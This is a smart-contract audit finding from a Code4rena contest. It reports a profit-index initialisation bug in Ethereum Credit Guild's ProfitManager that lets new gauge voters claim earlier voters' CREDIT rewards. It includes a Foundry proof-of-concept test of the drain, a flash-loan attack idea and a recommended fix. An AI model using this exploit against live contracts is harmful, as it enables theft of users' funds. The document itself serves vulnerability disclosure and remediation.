Theft of all CREDIT stored in ProfitManager due to incorrect profit index initialization

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L416-L418

Vulnerability details

Description

In Ethereum Credit Guild, ProfitManager is the contract that receives the profits from the different terms on a market and distributes them accordingly between the surplusBuffer, CREDIT holders and GUILD voters. The part that goes to GUILD voters is split based on the weight each voter has on the term that generated that profit.

When profit is distributed to the gauge voters (notifyPnL()), the variable gaugeProfitIndex is updated to represent the amount of tokens that belongs to a voter for each GUILD token that is used to vote on that gauge. Later, when voters want to claim the rewards they must call claimGaugeRewards() in order to receive their part of the profit.

The issue is that the function claimGaugeRewards() is flawed and it allows anyone to claim CREDIT tokens that belong to other users, effectively draining all ProfitManager contract. This is the flawed function:

function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );
    if (_userGaugeWeight == 0) {
>>      return 0;
    }
    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
    uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];
    if (_gaugeProfitIndex == 0) {
        _gaugeProfitIndex = 1e18;
    }
    if (_userGaugeProfitIndex == 0) {
        _userGaugeProfitIndex = 1e18;
    }
    uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
    if (deltaIndex != 0) {
        creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
        userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
    }
    if (creditEarned != 0) {
        emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
        CreditToken(credit).transfer(user, creditEarned);
    }
}

When a user votes for a term for the first time, _userGaugeProfitIndex should be updated to match _gaugeProfitIndex in order to prevent that user claiming rewards that were distributed before the user was voting for that term. Instead, the current implementation doesn't update any index the first time the user votes because the function returns early (if (_userGaugeWeight == 0) return 0).

This early return on the function will make that later when that user calls claimGaugeRewards(), he'll be able to claim rewards as if he was voting for that gauge since the inception of the term. Therefore, new voters will steal rewards from early voters.

Impact

Any user that starts voting for a gauge that already has generated some profits will be able to steal those profits from other users. If the user votes with enough weight on that gauge, it will be able to drain the entire ProfitManager contract from CREDIT tokens.

Also, when GUILD becomes transferable in a future, any user will be able to just flashloan some GUILD tokens, vote for a gauge, claim the profits, decrement all voting for that gauge and return the flashloan.

Proof of Concept

The following POC can be pasted in ProfitManager.t.sol.
The test can be run with the command: forge test --match-test testWrongIndexes.

function testWrongIndexes() public {
    address attacker = makeAddr("attacker");

    // grant roles to test contract
    vm.startPrank(governor);
    core.grantRole(CoreRoles.GOVERNOR, address(this));
    core.grantRole(CoreRoles.GUILD_MINTER, address(this));
    core.grantRole(CoreRoles.GAUGE_ADD, address(this));
    core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
    core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
    vm.stopPrank();

    // SETUP:
    //      100% profit for GUILD voters
    //      500 GUILD voting in gauge 1:
    //          - 250 Alice
    //          - 250 Bob
    profitManager.setProfitSharingConfig(0, 0, 1e18, 0, address(0));
    guild.setMaxGauges(1);
    guild.addGauge(1, gauge1);
    guild.mint(alice, 250e18);
    guild.mint(bob, 250e18);
    vm.prank(alice);
    guild.incrementGauge(gauge1, 250e18);
    vm.prank(bob);
    guild.incrementGauge(gauge1, 250e18);

    // Some time goes by...
    vm.warp(block.timestamp + 1 days);
    vm.roll(block.number + 6646);

    // Send 20 CREDIT to profitManager, notify as profit for gauge1
    // 10 goes to Alice and 10 to Bob.
    credit.mint(address(profitManager), 20e18);
    profitManager.notifyPnL(gauge1, 20e18);

    // Before Alice or Bob can claim their rewards, an attacker arrives and steals everything
    guild.mint(attacker, 500e18);
    vm.startPrank(attacker);
    guild.incrementGauge(gauge1, 500e18);
    assertEq(profitManager.claimRewards(attacker), 20e18);
    guild.decrementGauge(gauge1, 500e18);
    vm.stopPrank();

    // Alice and Bob can no longer claim their rewards because there aren't enough tokens in the contract
    vm.expectRevert("ERC20: transfer amount exceeds balance");
    profitManager.claimRewards(alice);
    vm.expectRevert("ERC20: transfer amount exceeds balance");
    profitManager.claimRewards(bob);        
}

Tools Used

Manual Review

Recommended Mitigation Steps

In order to mitigate this issue it's recommended to set the initial _userGaugeProfitIndex as soon as the user increments weight on the term, this way the contract will distribute profits fairly and will prevent users from stealing CREDIT from other users. The following is the recommended fix:

-   if (_userGaugeWeight == 0) {
-       return 0;
-   }

Removing this early return on claimGaugeRewards() will make that the user profit indexes are updated as soon as the users vote for the first time in that gauge.

Assessed type

Invalid Validation

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #1211

[c4-judge]

Trumpero marked the issue as satisfactory